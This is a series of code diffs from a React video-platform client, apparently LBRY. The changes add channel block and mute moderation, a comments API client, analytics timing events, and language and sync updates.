||||
"Unlock all tips": "Unlock all tips",
|
||||
"Unlock All": "Unlock All",
|
||||
"Yeah, well, that's just, like, your opinion, man.": "Yeah, well, that's just, like, your opinion, man.",
|
||||
"Moon cheese is an acquired taste": "Moon cheese is an acquired taste",
|
||||
"Level %current_level%": "Level %current_level%",
|
||||
"Creator tools": "Creator tools",
|
||||
"Prevent this channel from interacting with you.": "Prevent this channel from interacting with you.",
|
||||
"Hide this channel for you only.": "Hide this channel for you only.",
|
||||
"Interacting as %channelName%": "Interacting as %channelName%",
|
||||
"Page Not Found": "Page Not Found",
|
||||
"Transaction limit reached. Try reducing the Description length.": "Transaction limit reached. Try reducing the Description length.",
|
||||
"You do not have any muted channels": "You do not have any muted channels",
|
||||
"You do not have any blocked channels": "You do not have any blocked channels",
|
||||
"Blocked channels will be invisible to you in the app. They will not be able to comment on your content, or reply to you comments left on other channels' content.": "Blocked channels will be invisible to you in the app. They will not be able to comment on your content, or reply to you comments left on other channels' content.",
|
||||
"Muted channels will be invisible to you in the app. They will not know they are muted and can still interact with you and your content.": "Muted channels will be invisible to you in the app. They will not know they are muted and can still interact with you and your content.",
|
||||
"This channel is blocked": "This channel is blocked",
|
||||
"This channel is muted": "This channel is muted",
|
||||
"Are you sure you want to view this content? Viewing will not unblock @%channel%": "Are you sure you want to view this content? Viewing will not unblock @%channel%",
|
||||
"Are you sure you want to view this content? Viewing will not unmute @%channel%": "Are you sure you want to view this content? Viewing will not unmute @%channel%",
|
||||
"View Content": "View Content",
|
||||
"Mute (m)": "Mute (m)",
|
||||
"Playback Rate (<, >)": "Playback Rate (<, >)",
|
||||
"Fullscreen (f)": "Fullscreen (f)",
|
||||
"Pause (space)": "Pause (space)",
|
||||
"Play (space)": "Play (space)",
|
||||
"Unmute (m)": "Unmute (m)",
|
||||
"Exit Fullscreen (f)": "Exit Fullscreen (f)",
|
||||
"Toggle Theater mode (t)": "Toggle Theater mode (t)",
|
||||
"Quality": "Quality",
|
||||
"--end--": "--end--",
|
||||
"Create A LiveStream": "Create A LiveStream",
|
||||
}
|
||||
+9
-2
@@ -37,6 +37,7 @@ type Analytics = {
|
||||
tagFollowEvent: (string, boolean, ?string) => void,
|
||||
playerLoadedEvent: (?boolean) => void,
|
||||
playerStartedEvent: (?boolean) => void,
|
||||
videoFetchDuration: (string, number) => void,
|
||||
videoStartEvent: (string, number) => void,
|
||||
videoBufferEvent: (
|
||||
StreamClaim,
|
||||
@@ -45,7 +46,7 @@ type Analytics = {
|
||||
bufferDuration: number,
|
||||
bitRate: number,
|
||||
duration: number,
|
||||
userIdHash: string,
|
||||
userId: string,
|
||||
playerPoweredBy: string,
|
||||
readyState: number,
|
||||
}
|
||||
@@ -199,6 +200,12 @@ const analytics: Analytics = {
|
||||
Lbryio.call('feedback', 'search', { query, vote });
|
||||
}
|
||||
},
|
||||
|
||||
videoFetchDuration: (source, duration) => {
|
||||
sendPromMetric('time_to_fetch', duration);
|
||||
sendMatomoEvent('Media', 'TimeToFetch', source, duration);
|
||||
},
|
||||
|
||||
videoStartEvent: (claimId, duration) => {
|
||||
sendPromMetric('time_to_start', duration);
|
||||
sendMatomoEvent('Media', 'TimeToStart', claimId, duration);
|
||||
@@ -217,7 +224,7 @@ const analytics: Analytics = {
|
||||
body: JSON.stringify({
|
||||
device: 'web',
|
||||
type: 'buffering',
|
||||
client: data.userIdHash,
|
||||
client: data.userId,
|
||||
data: {
|
||||
url: claim.canonical_url,
|
||||
position: data.timeAtBuffer,
|
||||
|
||||
@@ -0,0 +1,39 @@
|
||||
// @flow
|
||||
import { COMMENT_SERVER_API } from 'config';
|
||||
|
||||
const Comments = {
|
||||
url: COMMENT_SERVER_API,
|
||||
enabled: Boolean(COMMENT_SERVER_API),
|
||||
|
||||
moderation_block: (params: ModerationBlockParams) => fetchCommentsApi('moderation.Block', params),
|
||||
moderation_unblock: (params: ModerationBlockParams) => fetchCommentsApi('moderation.UnBlock', params),
|
||||
moderation_block_list: (params: ModerationBlockParams) => fetchCommentsApi('moderation.BlockedList', params),
|
||||
comment_list: (params: CommentListParams) => fetchCommentsApi('comment.List', params),
|
||||
comment_abandon: (params: CommentAbandonParams) => fetchCommentsApi('comment.Abandon', params),
|
||||
};
|
||||
|
||||
function fetchCommentsApi(method: string, params: {}) {
|
||||
if (!Comments.enabled) {
|
||||
return Promise.reject('Comments are not currently enabled'); // eslint-disable-line
|
||||
}
|
||||
|
||||
const url = `${Comments.url}?m=${method}`;
|
||||
const options = {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
},
|
||||
body: JSON.stringify({
|
||||
jsonrpc: '2.0',
|
||||
id: 1,
|
||||
method,
|
||||
params,
|
||||
}),
|
||||
};
|
||||
|
||||
return fetch(url, options)
|
||||
.then((res) => res.json())
|
||||
.then((res) => res.result);
|
||||
}
|
||||
|
||||
export default Comments;
|
||||
@@ -1,14 +1,6 @@
|
||||
import { connect } from 'react-redux';
|
||||
import { selectBlockedChannels } from 'redux/selectors/blocked';
|
||||
import { doChannelUnsubscribe } from 'redux/actions/subscriptions';
|
||||
import { doOpenModal } from 'redux/actions/app';
|
||||
import AbandonedChannelPreview from './view';
|
||||
|
||||
const select = (state, props) => ({
|
||||
blockedChannelUris: selectBlockedChannels(state),
|
||||
});
|
||||
const select = (state, props) => ({});
|
||||
|
||||
export default connect(select, {
|
||||
doChannelUnsubscribe,
|
||||
doOpenModal,
|
||||
})(AbandonedChannelPreview);
|
||||
export default connect(select)(AbandonedChannelPreview);
|
||||
@@ -2,28 +2,18 @@
|
||||
import React from 'react';
|
||||
import classnames from 'classnames';
|
||||
import ChannelThumbnail from 'component/channelThumbnail';
|
||||
import Button from 'component/button';
|
||||
import { parseURI } from 'lbry-redux';
|
||||
import * as ICONS from '../../constants/icons';
|
||||
import * as MODALS from 'constants/modal_types';
|
||||
|
||||
type SubscriptionArgs = {
|
||||
channelName: string,
|
||||
uri: string,
|
||||
};
|
||||
import ChannelBlockButton from 'component/channelBlockButton';
|
||||
import ChannelMuteButton from 'component/channelMuteButton';
|
||||
|
||||
type Props = {
|
||||
uri: string,
|
||||
doChannelUnsubscribe: SubscriptionArgs => void,
|
||||
type: string,
|
||||
blockedChannelUris: Array<string>,
|
||||
doOpenModal: (string, {}) => void,
|
||||
};
|
||||
|
||||
function AbandonedChannelPreview(props: Props) {
|
||||
const { uri, doChannelUnsubscribe, type, blockedChannelUris, doOpenModal } = props;
|
||||
const { uri, type } = props;
|
||||
const { channelName } = parseURI(uri);
|
||||
const isBlockedChannel = blockedChannelUris.includes(uri);
|
||||
|
||||
return (
|
||||
<li className={classnames('claim-preview__wrapper', 'claim-preview__wrapper--notice')}>
|
||||
@@ -37,31 +27,10 @@ function AbandonedChannelPreview(props: Props) {
|
||||
<div className="media__subtitle">{__(`This channel may have been unpublished.`)}</div>
|
||||
</div>
|
||||
<div className="claim-preview__actions">
|
||||
{isBlockedChannel && (
|
||||
<Button
|
||||
iconColor="red"
|
||||
icon={ICONS.UNBLOCK}
|
||||
button={'alt'}
|
||||
label={__('Unblock')}
|
||||
onClick={() => doOpenModal(MODALS.REMOVE_BLOCKED, { blockedUri: uri })}
|
||||
/>
|
||||
)}
|
||||
{/* SubscribeButton uses resolved permanentUri; modifying it didn't seem worth it. */}
|
||||
{!isBlockedChannel && (
|
||||
<Button
|
||||
iconColor="red"
|
||||
icon={ICONS.UNSUBSCRIBE}
|
||||
button={'alt'}
|
||||
label={__('Unfollow')}
|
||||
onClick={e => {
|
||||
e.stopPropagation();
|
||||
doChannelUnsubscribe({
|
||||
channelName: `@${channelName}`,
|
||||
uri,
|
||||
});
|
||||
}}
|
||||
/>
|
||||
)}
|
||||
<div className="section__actions">
|
||||
<ChannelBlockButton uri={uri} />
|
||||
<ChannelMuteButton uri={uri} />
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -5,25 +5,32 @@ import { selectGetSyncErrorMessage, selectSyncFatalError } from 'redux/selectors
|
||||
import { doFetchAccessToken, doUserSetReferrer } from 'redux/actions/user';
|
||||
import { selectUser, selectAccessToken, selectUserVerifiedEmail } from 'redux/selectors/user';
|
||||
import { selectUnclaimedRewards } from 'redux/selectors/rewards';
|
||||
import { doFetchChannelListMine, SETTINGS } from 'lbry-redux';
|
||||
import { doFetchChannelListMine, selectMyChannelUrls, SETTINGS } from 'lbry-redux';
|
||||
import {
|
||||
makeSelectClientSetting,
|
||||
selectLanguage,
|
||||
selectLoadedLanguages,
|
||||
selectThemePath,
|
||||
} from 'redux/selectors/settings';
|
||||
import { selectIsUpgradeAvailable, selectAutoUpdateDownloaded, selectModal } from 'redux/selectors/app';
|
||||
import {
|
||||
selectIsUpgradeAvailable,
|
||||
selectAutoUpdateDownloaded,
|
||||
selectModal,
|
||||
selectActiveChannelClaim,
|
||||
} from 'redux/selectors/app';
|
||||
import { doGetWalletSyncPreference, doSetLanguage } from 'redux/actions/settings';
|
||||
import { doSyncSubscribe } from 'redux/actions/sync';
|
||||
import { doSyncLoop } from 'redux/actions/sync';
|
||||
import {
|
||||
doDownloadUpgradeRequested,
|
||||
doSignIn,
|
||||
doGetAndPopulatePreferences,
|
||||
doAnalyticsTagSync,
|
||||
doSetActiveChannel,
|
||||
doSetIncognito,
|
||||
} from 'redux/actions/app';
|
||||
import { doFetchModBlockedList } from 'redux/actions/comments';
|
||||
import App from './view';
|
||||
|
||||
const select = state => ({
|
||||
const select = (state) => ({
|
||||
user: selectUser(state),
|
||||
accessToken: selectAccessToken(state),
|
||||
theme: selectThemePath(state),
|
||||
@@ -38,19 +45,23 @@ const select = state => ({
|
||||
isAuthenticated: selectUserVerifiedEmail(state),
|
||||
currentModal: selectModal(state),
|
||||
syncFatalError: selectSyncFatalError(state),
|
||||
activeChannelClaim: selectActiveChannelClaim(state),
|
||||
myChannelUrls: selectMyChannelUrls(state),
|
||||
});
|
||||
|
||||
const perform = dispatch => ({
|
||||
analyticsTagSync: () => dispatch(doAnalyticsTagSync()),
|
||||
const perform = (dispatch) => ({
|
||||
fetchAccessToken: () => dispatch(doFetchAccessToken()),
|
||||
fetchChannelListMine: () => dispatch(doFetchChannelListMine()),
|
||||
setLanguage: language => dispatch(doSetLanguage(language)),
|
||||
setLanguage: (language) => dispatch(doSetLanguage(language)),
|
||||
signIn: () => dispatch(doSignIn()),
|
||||
requestDownloadUpgrade: () => dispatch(doDownloadUpgradeRequested()),
|
||||
updatePreferences: () => dispatch(doGetAndPopulatePreferences()),
|
||||
getWalletSyncPref: () => dispatch(doGetWalletSyncPreference()),
|
||||
syncSubscribe: () => dispatch(doSyncSubscribe()),
|
||||
syncLoop: (noInterval) => dispatch(doSyncLoop(noInterval)),
|
||||
setReferrer: (referrer, doClaim) => dispatch(doUserSetReferrer(referrer, doClaim)),
|
||||
setActiveChannelIfNotSet: () => dispatch(doSetActiveChannel()),
|
||||
setIncognito: () => dispatch(doSetIncognito()),
|
||||
fetchModBlockedList: () => dispatch(doFetchModBlockedList()),
|
||||
});
|
||||
|
||||
export default hot(connect(select, perform)(App));
|
||||
+61
-13
@@ -22,6 +22,7 @@ import Spinner from 'component/spinner';
|
||||
import SyncFatalError from 'component/syncFatalError';
|
||||
// @if TARGET='app'
|
||||
import useZoom from 'effects/use-zoom';
|
||||
import useHistoryNav from 'effects/use-history-nav';
|
||||
// @endif
|
||||
// @if TARGET='web'
|
||||
import OpenInAppLink from 'web/component/openInAppLink';
|
||||
@@ -36,6 +37,7 @@ import {
|
||||
STATUS_DOWN,
|
||||
} from 'web/effects/use-degraded-performance';
|
||||
// @endif
|
||||
import LANGUAGE_MIGRATIONS from 'constants/language-migrations';
|
||||
export const MAIN_WRAPPER_CLASS = 'main-wrapper';
|
||||
export const IS_MAC = navigator.userAgent.indexOf('Mac OS X') !== -1;
|
||||
|
||||
@@ -54,14 +56,14 @@ type Props = {
|
||||
goForward: () => void,
|
||||
index: number,
|
||||
length: number,
|
||||
push: string => void,
|
||||
push: (string) => void,
|
||||
},
|
||||
fetchAccessToken: () => void,
|
||||
fetchChannelListMine: () => void,
|
||||
signIn: () => void,
|
||||
requestDownloadUpgrade: () => void,
|
||||
onSignedIn: () => void,
|
||||
setLanguage: string => void,
|
||||
setLanguage: (string) => void,
|
||||
isUpgradeAvailable: boolean,
|
||||
autoUpdateDownloaded: boolean,
|
||||
updatePreferences: () => Promise<any>,
|
||||
@@ -72,13 +74,17 @@ type Props = {
|
||||
syncEnabled: boolean,
|
||||
rewards: Array<Reward>,
|
||||
setReferrer: (string, boolean) => void,
|
||||
analyticsTagSync: () => void,
|
||||
isAuthenticated: boolean,
|
||||
socketConnect: () => void,
|
||||
syncSubscribe: () => void,
|
||||
syncLoop: (?boolean) => void,
|
||||
syncEnabled: boolean,
|
||||
currentModal: any,
|
||||
syncFatalError: boolean,
|
||||
activeChannelClaim: ?ChannelClaim,
|
||||
myChannelUrls: ?Array<string>,
|
||||
setActiveChannelIfNotSet: () => void,
|
||||
setIncognito: (boolean) => void,
|
||||
fetchModBlockedList: () => void,
|
||||
};
|
||||
|
||||
function App(props: Props) {
|
||||
@@ -102,9 +108,14 @@ function App(props: Props) {
|
||||
rewards,
|
||||
setReferrer,
|
||||
isAuthenticated,
|
||||
syncSubscribe,
|
||||
syncLoop,
|
||||
currentModal,
|
||||
syncFatalError,
|
||||
myChannelUrls,
|
||||
activeChannelClaim,
|
||||
setActiveChannelIfNotSet,
|
||||
setIncognito,
|
||||
fetchModBlockedList,
|
||||
} = props;
|
||||
|
||||
const appRef = useRef();
|
||||
@@ -125,13 +136,17 @@ function App(props: Props) {
|
||||
const showUpgradeButton =
|
||||
(autoUpdateDownloaded || (process.platform === 'linux' && isUpgradeAvailable)) && !upgradeNagClosed;
|
||||
// referral claiming
|
||||
const referredRewardAvailable = rewards && rewards.some(reward => reward.reward_type === REWARDS.TYPE_REFEREE);
|
||||
const referredRewardAvailable = rewards && rewards.some((reward) => reward.reward_type === REWARDS.TYPE_REFEREE);
|
||||
const urlParams = new URLSearchParams(search);
|
||||
const rawReferrerParam = urlParams.get('r');
|
||||
const sanitizedReferrerParam = rawReferrerParam && rawReferrerParam.replace(':', '#');
|
||||
const shouldHideNag = pathname.startsWith(`/$/${PAGES.EMBED}`) || pathname.startsWith(`/$/${PAGES.AUTH_VERIFY}`);
|
||||
const userId = user && user.id;
|
||||
const useCustomScrollbar = !IS_MAC;
|
||||
const hasMyChannels = myChannelUrls && myChannelUrls.length > 0;
|
||||
const hasNoChannels = myChannelUrls && myChannelUrls.length === 0;
|
||||
const shouldMigrateLanguage = LANGUAGE_MIGRATIONS[language];
|
||||
const hasActiveChannelClaim = activeChannelClaim !== undefined;
|
||||
|
||||
let uri;
|
||||
try {
|
||||
@@ -143,6 +158,7 @@ function App(props: Props) {
|
||||
function handleAnalyticsDismiss() {
|
||||
setShowAnalyticsNag(false);
|
||||
}
|
||||
|
||||
// @endif
|
||||
useEffect(() => {
|
||||
if (userId) {
|
||||
@@ -152,7 +168,7 @@ function App(props: Props) {
|
||||
|
||||
useEffect(() => {
|
||||
if (!uploadCount) return;
|
||||
const handleBeforeUnload = event => {
|
||||
const handleBeforeUnload = (event) => {
|
||||
event.preventDefault();
|
||||
event.returnValue = 'magic'; // without setting this to something it doesn't work
|
||||
};
|
||||
@@ -162,7 +178,7 @@ function App(props: Props) {
|
||||
|
||||
// allows user to navigate history using the forward and backward buttons on a mouse
|
||||
useEffect(() => {
|
||||
const handleForwardAndBackButtons = e => {
|
||||
const handleForwardAndBackButtons = (e) => {
|
||||
switch (e.button) {
|
||||
case MOUSE_BACK_BTN:
|
||||
history.index > 0 && history.goBack();
|
||||
@@ -178,7 +194,7 @@ function App(props: Props) {
|
||||
|
||||
// allows user to pause miniplayer using the spacebar without the page scrolling down
|
||||
useEffect(() => {
|
||||
const handleKeyPress = e => {
|
||||
const handleKeyPress = (e) => {
|
||||
if (e.key === ' ' && e.target === document.body) {
|
||||
e.preventDefault();
|
||||
}
|
||||
@@ -192,6 +208,11 @@ function App(props: Props) {
|
||||
useZoom();
|
||||
// @endif
|
||||
|
||||
// Enable 'Alt + Left/Right' for history navigation on Desktop.
|
||||
// @if TARGET='app'
|
||||
useHistoryNav(history);
|
||||
// @endif
|
||||
|
||||
useEffect(() => {
|
||||
if (referredRewardAvailable && sanitizedReferrerParam && isRewardApproved) {
|
||||
setReferrer(sanitizedReferrerParam, true);
|
||||
@@ -219,6 +240,18 @@ function App(props: Props) {
|
||||
document.documentElement.setAttribute('theme', theme);
|
||||
}, [theme]);
|
||||
|
||||
useEffect(() => {
|
||||
if (hasMyChannels && !hasActiveChannelClaim) {
|
||||
setActiveChannelIfNotSet();
|
||||
} else if (hasNoChannels) {
|
||||
setIncognito(true);
|
||||
}
|
||||
|
||||
if (hasMyChannels) {
|
||||
fetchModBlockedList();
|
||||
}
|
||||
}, [hasMyChannels, hasNoChannels, hasActiveChannelClaim, setActiveChannelIfNotSet, setIncognito]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!languages.includes(language)) {
|
||||
setLanguage(language);
|
||||
@@ -226,6 +259,12 @@ function App(props: Props) {
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
}, [language, languages]);
|
||||
|
||||
useEffect(() => {
|
||||
if (shouldMigrateLanguage) {
|
||||
setLanguage(shouldMigrateLanguage);
|
||||
}
|
||||
}, [shouldMigrateLanguage, setLanguage]);
|
||||
|
||||
useEffect(() => {
|
||||
// Check that previousHasVerifiedEmail was not undefined instead of just not truthy
|
||||
// This ensures we don't fire the emailVerified event on the initial user fetch
|
||||
@@ -255,11 +294,20 @@ function App(props: Props) {
|
||||
// ready for sync syncs, however after signin when hasVerifiedEmail, that syncs too.
|
||||
useEffect(() => {
|
||||
// signInSyncPref is cleared after sharedState loop.
|
||||
const syncLoopWithoutInterval = () => syncLoop(true);
|
||||
if (readyForSync && hasVerifiedEmail) {
|
||||
// In case we are syncing.
|
||||
syncSubscribe();
|
||||
syncLoop();
|
||||
// @if TARGET='web'
|
||||
window.addEventListener('focus', syncLoopWithoutInterval);
|
||||
// @endif
|
||||
}
|
||||
}, [readyForSync, hasVerifiedEmail, syncSubscribe]);
|
||||
// @if TARGET='web'
|
||||
return () => {
|
||||
window.removeEventListener('focus', syncLoopWithoutInterval);
|
||||
};
|
||||
// @endif
|
||||
}, [readyForSync, hasVerifiedEmail, syncLoop]);
|
||||
|
||||
// We know someone is logging in or not when we get their user object
|
||||
// We'll use this to determine when it's time to pull preferences
|
||||
@@ -304,7 +352,7 @@ function App(props: Props) {
|
||||
// @endif
|
||||
|
||||
if (syncFatalError) {
|
||||
return <SyncFatalError />;
|
||||
return <SyncFatalError lbryTvApiStatus={lbryTvApiStatus} />;
|
||||
}
|
||||
|
||||
return (
|
||||
@@ -316,7 +364,7 @@ function App(props: Props) {
|
||||
[`${MAIN_WRAPPER_CLASS}--scrollbar`]: useCustomScrollbar,
|
||||
})}
|
||||
ref={appRef}
|
||||
onContextMenu={IS_WEB ? undefined : e => openContextMenu(e)}
|
||||
onContextMenu={IS_WEB ? undefined : (e) => openContextMenu(e)}
|
||||
>
|
||||
{IS_WEB && lbryTvApiStatus === STATUS_DOWN ? (
|
||||
<Yrbl
|
||||
|
||||
@@ -1,18 +0,0 @@
|
||||
import { connect } from 'react-redux';
|
||||
import { makeSelectClaimIsMine, makeSelectShortUrlForUri, makeSelectPermanentUrlForUri } from 'lbry-redux';
|
||||
import { selectChannelIsBlocked } from 'redux/selectors/blocked';
|
||||
import { doToast } from 'redux/actions/notifications';
|
||||
import { doToggleBlockChannel } from 'redux/actions/blocked';
|
||||
import BlockButton from './view';
|
||||
|
||||
const select = (state, props) => ({
|
||||
channelIsBlocked: selectChannelIsBlocked(props.uri)(state),
|
||||
claimIsMine: makeSelectClaimIsMine(props.uri)(state),
|
||||
shortUrl: makeSelectShortUrlForUri(props.uri)(state),
|
||||
permanentUrl: makeSelectPermanentUrlForUri(props.uri)(state),
|
||||
});
|
||||
|
||||
export default connect(select, {
|
||||
toggleBlockChannel: doToggleBlockChannel,
|
||||
doToast,
|
||||
})(BlockButton);
|
||||
@@ -1,49 +0,0 @@
|
||||
// @flow
|
||||
import * as ICONS from 'constants/icons';
|
||||
import * as PAGES from 'constants/pages';
|
||||
import React, { useRef } from 'react';
|
||||
import Button from 'component/button';
|
||||
import useHover from 'effects/use-hover';
|
||||
|
||||
type Props = {
|
||||
permanentUrl: ?string,
|
||||
shortUrl: string,
|
||||
isSubscribed: boolean,
|
||||
toggleBlockChannel: (uri: string) => void,
|
||||
channelIsBlocked: boolean,
|
||||
claimIsMine: boolean,
|
||||
doToast: ({ message: string, linkText: string, linkTarget: string }) => void,
|
||||
};
|
||||
|
||||
export default function BlockButton(props: Props) {
|
||||
const { permanentUrl, shortUrl, toggleBlockChannel, channelIsBlocked, claimIsMine, doToast } = props;
|
||||
|
||||
const blockRef = useRef();
|
||||
const isHovering = useHover(blockRef);
|
||||
const blockLabel = channelIsBlocked ? __('Blocked') : __('Block');
|
||||
const blockTitlePrefix = channelIsBlocked ? __('Unblock this channel') : __('Block this channel');
|
||||
const blockedOverride = channelIsBlocked && isHovering && __('Unblock');
|
||||
|
||||
return permanentUrl && (!claimIsMine || channelIsBlocked) ? (
|
||||
<Button
|
||||
ref={blockRef}
|
||||
icon={ICONS.BLOCK}
|
||||
button={'alt'}
|
||||
label={blockedOverride || blockLabel}
|
||||
title={blockTitlePrefix}
|
||||
requiresAuth={IS_WEB}
|
||||
onClick={e => {
|
||||
e.stopPropagation();
|
||||
if (!channelIsBlocked) {
|
||||
doToast({
|
||||
message: __('Blocked %channelUrl%', { channelUrl: shortUrl }),
|
||||
linkText: __('Manage'),
|
||||
linkTarget: `/${PAGES.BLOCKED}`,
|
||||
});
|
||||
}
|
||||
|
||||
toggleBlockChannel(permanentUrl);
|
||||
}}
|
||||
/>
|
||||
) : null;
|
||||
}
|
||||
@@ -1,9 +1,10 @@
|
||||
import { connect } from 'react-redux';
|
||||
import { makeSelectMetadataItemForUri, makeSelectClaimForUri } from 'lbry-redux';
|
||||
import { makeSelectMetadataItemForUri, makeSelectClaimForUri, makeSelectStakedLevelForChannelUri } from 'lbry-redux';
|
||||
import ChannelAbout from './view';
|
||||
|
||||
const select = (state, props) => ({
|
||||
claim: makeSelectClaimForUri(props.uri)(state),
|
||||
stakedLevel: makeSelectStakedLevelForChannelUri(props.uri)(state),
|
||||
description: makeSelectMetadataItemForUri(props.uri, 'description')(state),
|
||||
website: makeSelectMetadataItemForUri(props.uri, 'website_url')(state),
|
||||
email: makeSelectMetadataItemForUri(props.uri, 'email')(state),
|
||||
|
||||
@@ -17,6 +17,7 @@ type Props = {
|
||||
email: ?string,
|
||||
website: ?string,
|
||||
languages: Array<string>,
|
||||
stakedLevel?: number,
|
||||
};
|
||||
|
||||
const formatEmail = (email: string) => {
|
||||
@@ -29,7 +30,7 @@ const formatEmail = (email: string) => {
|
||||
};
|
||||
|
||||
function ChannelAbout(props: Props) {
|
||||
const { claim, uri, description, email, website, languages } = props;
|
||||
const { claim, uri, description, email, website, languages, stakedLevel } = props;
|
||||
const claimId = claim && claim.claim_id;
|
||||
|
||||
return (
|
||||
@@ -40,7 +41,7 @@ function ChannelAbout(props: Props) {
|
||||
<>
|
||||
<label>{__('Description')}</label>
|
||||
<div className="media__info-text media__info-text--constrained">
|
||||
<MarkdownPreview content={description} />
|
||||
<MarkdownPreview content={description} stakedLevel={stakedLevel} />
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
@@ -48,7 +49,7 @@ function ChannelAbout(props: Props) {
|
||||
<Fragment>
|
||||
<label>{__('Contact')}</label>
|
||||
<div className="media__info-text">
|
||||
<MarkdownPreview content={formatEmail(email)} />
|
||||
<MarkdownPreview content={formatEmail(email)} simpleLinks />
|
||||
</div>
|
||||
</Fragment>
|
||||
)}
|
||||
@@ -56,7 +57,7 @@ function ChannelAbout(props: Props) {
|
||||
<Fragment>
|
||||
<label>{__('Site')}</label>
|
||||
<div className="media__info-text">
|
||||
<MarkdownPreview content={website} />
|
||||
<MarkdownPreview content={website} simpleLinks />
|
||||
</div>
|
||||
</Fragment>
|
||||
)}
|
||||
|
||||
@@ -0,0 +1,14 @@
|
||||
import { connect } from 'react-redux';
|
||||
import { doCommentModUnBlock, doCommentModBlock } from 'redux/actions/comments';
|
||||
import { makeSelectChannelIsBlocked, makeSelectUriIsBlockingOrUnBlocking } from 'redux/selectors/comments';
|
||||
import ChannelBlockButton from './view';
|
||||
|
||||
const select = (state, props) => ({
|
||||
isBlocked: makeSelectChannelIsBlocked(props.uri)(state),
|
||||
isBlockingOrUnBlocking: makeSelectUriIsBlockingOrUnBlocking(props.uri)(state),
|
||||
});
|
||||
|
||||
export default connect(select, {
|
||||
doCommentModUnBlock,
|
||||
doCommentModBlock,
|
||||
})(ChannelBlockButton);
|
||||
@@ -0,0 +1,41 @@
|
||||
// @flow
|
||||
import React from 'react';
|
||||
import Button from 'component/button';
|
||||
|
||||
type Props = {
|
||||
uri: string,
|
||||
isBlocked: boolean,
|
||||
isBlockingOrUnBlocking: boolean,
|
||||
doCommentModUnBlock: (string) => void,
|
||||
doCommentModBlock: (string) => void,
|
||||
};
|
||||
|
||||
function ChannelBlockButton(props: Props) {
|
||||
const { uri, doCommentModUnBlock, doCommentModBlock, isBlocked, isBlockingOrUnBlocking } = props;
|
||||
|
||||
function handleClick() {
|
||||
if (isBlocked) {
|
||||
doCommentModUnBlock(uri);
|
||||
} else {
|
||||
doCommentModBlock(uri);
|
||||
}
|
||||
}
|
||||
|
||||
return (
|
||||
<Button
|
||||
button={isBlocked ? 'alt' : 'secondary'}
|
||||
label={
|
||||
isBlocked
|
||||
? isBlockingOrUnBlocking
|
||||
? __('Unblocking...')
|
||||
: __('Unblock')
|
||||
: isBlockingOrUnBlocking
|
||||
? __('Blocking...')
|
||||
: __('Block')
|
||||
}
|
||||
onClick={handleClick}
|
||||
/>
|
||||
);
|
||||
}
|
||||
|
||||
export default ChannelBlockButton;
|
||||
@@ -6,9 +6,10 @@ import {
|
||||
makeSelectClaimIsMine,
|
||||
makeSelectTotalPagesInChannelSearch,
|
||||
makeSelectClaimForUri,
|
||||
doResolveUris,
|
||||
SETTINGS,
|
||||
} from 'lbry-redux';
|
||||
import { selectChannelIsBlocked } from 'redux/selectors/blocked';
|
||||
import { makeSelectChannelIsMuted } from 'redux/selectors/blocked';
|
||||
import { withRouter } from 'react-router';
|
||||
import { selectUserVerifiedEmail } from 'redux/selectors/user';
|
||||
import { makeSelectClientSetting } from 'redux/selectors/settings';
|
||||
@@ -24,7 +25,7 @@ const select = (state, props) => {
|
||||
fetching: makeSelectFetchingChannelClaims(props.uri)(state),
|
||||
totalPages: makeSelectTotalPagesInChannelSearch(props.uri, PAGE_SIZE)(state),
|
||||
channelIsMine: makeSelectClaimIsMine(props.uri)(state),
|
||||
channelIsBlocked: selectChannelIsBlocked(props.uri)(state),
|
||||
channelIsBlocked: makeSelectChannelIsMuted(props.uri)(state),
|
||||
claim: props.uri && makeSelectClaimForUri(props.uri)(state),
|
||||
isAuthenticated: selectUserVerifiedEmail(state),
|
||||
showMature: makeSelectClientSetting(SETTINGS.SHOW_MATURE)(state),
|
||||
@@ -32,4 +33,8 @@ const select = (state, props) => {
|
||||
};
|
||||
};
|
||||
|
||||
export default withRouter(connect(select)(ChannelPage));
|
||||
const perform = (dispatch) => ({
|
||||
doResolveUris: (uris, returnCachedUris) => dispatch(doResolveUris(uris, returnCachedUris)),
|
||||
});
|
||||
|
||||
export default withRouter(connect(select, perform)(ChannelPage));
|
||||
@@ -29,6 +29,8 @@ type Props = {
|
||||
isAuthenticated: boolean,
|
||||
showMature: boolean,
|
||||
tileLayout: boolean,
|
||||
viewHiddenChannels: boolean,
|
||||
doResolveUris: (Array<string>, boolean) => void,
|
||||
};
|
||||
|
||||
function ChannelContent(props: Props) {
|
||||
@@ -44,6 +46,8 @@ function ChannelContent(props: Props) {
|
||||
defaultInfiniteScroll = true,
|
||||
showMature,
|
||||
tileLayout,
|
||||
viewHiddenChannels,
|
||||
doResolveUris,
|
||||
} = props;
|
||||
const claimsInChannel = (claim && claim.meta.claims_in_channel) || 0;
|
||||
const [searchQuery, setSearchQuery] = React.useState('');
|
||||
@@ -71,11 +75,16 @@ function ChannelContent(props: Props) {
|
||||
!showMature ? '&nsfw=false&size=25&from=0' : ''
|
||||
}`
|
||||
)
|
||||
.then(results => {
|
||||
.then((results) => {
|
||||
const urls = results.map(({ name, claimId }) => {
|
||||
return `lbry://${name}#${claimId}`;
|
||||
});
|
||||
|
||||
// Batch-resolve the urls before calling 'setSearchResults', as the
|
||||
// latter will immediately cause the tiles to resolve, ending up
|
||||
// calling doResolveUri one by one before the batched one.
|
||||
doResolveUris(urls, true);
|
||||
|
||||
setSearchResults(urls);
|
||||
})
|
||||
.catch(() => {
|
||||
@@ -120,15 +129,14 @@ function ChannelContent(props: Props) {
|
||||
|
||||
{claim && claimsInChannel > 0 ? (
|
||||
<ClaimListDiscover
|
||||
showHiddenByUser={viewHiddenChannels}
|
||||
forceShowReposts
|
||||
tileLayout={tileLayout}
|
||||
uris={searchResults}
|
||||
channelIds={[claim.claim_id]}
|
||||
claimType={CS.CLAIM_TYPES}
|
||||
feeAmount={CS.FEE_AMOUNT_ANY}
|
||||
defaultOrderBy={CS.ORDER_BY_NEW}
|
||||
pageSize={defaultPageSize}
|
||||
streamType={CS.CONTENT_ALL}
|
||||
infiniteScroll={defaultInfiniteScroll}
|
||||
injectedItem={SHOW_ADS && !isAuthenticated && IS_WEB && <Ads type="video" />}
|
||||
meta={
|
||||
|
||||
